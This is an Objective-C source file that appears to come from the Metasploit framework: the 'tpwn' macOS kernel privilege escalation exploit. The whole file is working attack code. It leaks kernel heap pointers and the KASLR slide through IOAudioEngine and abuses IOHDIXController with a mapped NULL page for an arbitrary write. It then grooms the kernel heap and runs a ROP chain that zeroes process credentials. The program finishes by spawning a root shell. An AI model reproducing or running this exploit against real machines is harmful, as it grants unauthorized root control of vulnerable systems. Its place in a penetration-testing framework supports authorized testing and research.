metasploit-framework/external/source/exploits/tpwn/main.m

287 lines
11 KiB
Objective-C

#include <Foundation/Foundation.h>
static uint64_t kslide=0;
#define ALLOCS 0x100
#import "import.h"
#import "lsym_gadgets.h"
static mach_port_t servicea = 0;
static mach_port_t servicex = 0;
__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
if (!pointer) return pointer;
return (lsym_slidden_kern_pointer_t) pointer + kslide;
}
__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
while(sz--) *(char*)(addr+sz)=0;
return addr;
}
__attribute__((always_inline)) static inline
uint64_t leak_heap_ptr(io_connect_t* co) {
io_connect_t conn = MACH_PORT_NULL;
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
puts("failed");
exit(-20);
}
uint64_t scalarO_64=0;
uint32_t outputCount = 1;
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
if (!scalarO_64) {
puts("failed infoleaking");
exit(-20);
}
scalarO_64 <<= 8;
scalarO_64 |= 0xffffff0000000000;
return scalarO_64;
}
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
mach_msg_trailer_t trailer;
} oolmsg_t;
static uint16_t off_w = 0;
__attribute__((always_inline)) static inline
void or_everywhere(uint64_t add) {
io_connect_t conn = MACH_PORT_NULL;
IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0;
if(!off_w) {
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)0xC00;
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
IOServiceClose(conn);
char* kp=(char*)0xC00;
while ((uint32_t)kp < 0x1000) {
if (*kp == 0x10) {
break;
}
kp++;
}
if ((uint32_t)kp == 0x1000) {
vm_deallocate(mach_task_self(), 0, 0x1000);
puts("not vulnerable");
exit(-1);
}
mp=0;
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00);
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
IOServiceClose(conn);
if (*((char*)0xC00)!=0x10) {
vm_deallocate(mach_task_self(), 0, 0x1000);
puts("wrong offset");
exit(-2);
}
off_w = (uint16_t) kp - 0xc00;
}
mp=0;
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)(add - off_w);
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
vm_deallocate(mach_task_self(), 0, 0x1000);
IOServiceClose(conn);
}
__attribute__((always_inline)) static inline
void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
if(!*msgp){
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp);
mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND);
}
bzero(msg,sizeof(oolmsg_t));
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_remote_port = *msgp;
msg->header.msgh_local_port = MACH_PORT_NULL;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 1;
msg->body.msgh_descriptor_count = 1;
msg->desc.address = (void *)vz;
msg->desc.size = svz;
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
free(msg);
}
__attribute__((always_inline)) static inline
char* read_kern_data(mach_port_t port) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
bzero(msg,sizeof(oolmsg_t)+0x2000);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
return msg->desc.address;
}
int main(int argc, char** argv, char** envp){
if (getuid() == 0) {
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
exit(0);
}
if((int)main < 0x5000) execve(argv[0],argv,envp);
lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel");
if (!mapping_kernel || !mapping_kernel->map) {
mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
}
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
sync();
kern_return_t err;
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
servicex = IOIteratorNext(iterator);
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
servicea = IOIteratorNext(iterator);
uint64_t c = 0;
or_everywhere((uint64_t)&c);
if (c != 0x10) {
puts("not vulnerable");
return 2;
}
int ctr=0;
#define DO_TIMES(x) for(ctr=0;ctr<x;ctr++)
struct KernelHeapInfo {
io_connect_t connect;
uint64_t kobject;
mach_port_t port;
} *heap_info = calloc(sizeof(struct KernelHeapInfo),ALLOCS);
char* vz = calloc(1500,1);
again:;
int maxt = 10;
while (maxt--) {
if (heap_info[maxt+2].connect) {
IOServiceClose(heap_info[maxt+2].connect);
heap_info[maxt+2].connect=0;
}
}
maxt = 10;
while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; };
while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) {
if (heap_info[1].kobject == 1024+heap_info[0].kobject) {
break;
}
if (maxt == 0) {
goto again;
}
maxt--;
heap_info[maxt+2].connect=heap_info[1].connect;
heap_info[1].connect=0;
};
if (!heap_info[1].connect || !heap_info[0].connect) {
exit(-3);
}
IOServiceClose(heap_info[0].connect); // poke hole
DO_TIMES(ALLOCS) {
send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port));
}
or_everywhere(heap_info[0].kobject + 16);
or_everywhere(heap_info[0].kobject + 500);
char found = 0;
DO_TIMES(ALLOCS) {
char* data = read_kern_data(heap_info[ctr].port);
if (!found && memcmp(data,vz,1024 - 0x58)) {
kslide = (*(uint64_t*)((1024-0x58+(char*)data))) - kslide ;
found=1;
}
}
if (!found) {
exit(-3);
}
printf("leaked kaslr slide, @ 0x%016llx\n", kslide);
kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x208);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(uint64_t));
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x220);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, 1)
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)getuid())
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)-1);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)0);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)1);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0x210;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0xe0;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0xe8;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n")
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog");
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");
uint64_t* vtable=malloc(0x1000);
vtable[0] = 0;
vtable[1] = 0;
vtable[2] = 0;
vtable[3] = ROP_POP_RAX(mapping_kernel);
vtable[4] = ROP_PIVOT_RAX(mapping_kernel);
vtable[5] = ROP_POP_RAX(mapping_kernel);
vtable[6] = 0;
vtable[7] = ROP_POP_RSP(mapping_kernel);
vtable[8] = (uint64_t)stack->__rop_chain;
or_everywhere(heap_info[1].kobject+0x220); // set online
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0x10;
mp[0] = (uint64_t)0;
mp[1] = (uint64_t)vtable;
mp[2] = (uint64_t)&mp[1];
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
vm_deallocate(mach_task_self(), 0, 0x1000);
setuid(0);
if (getuid() == 0) {
system("/bin/sh");
exit(0);
}
puts("didn't get root, but this system is vulnerable. ");
puts("kernel heap may be corrupted");
return 1;
}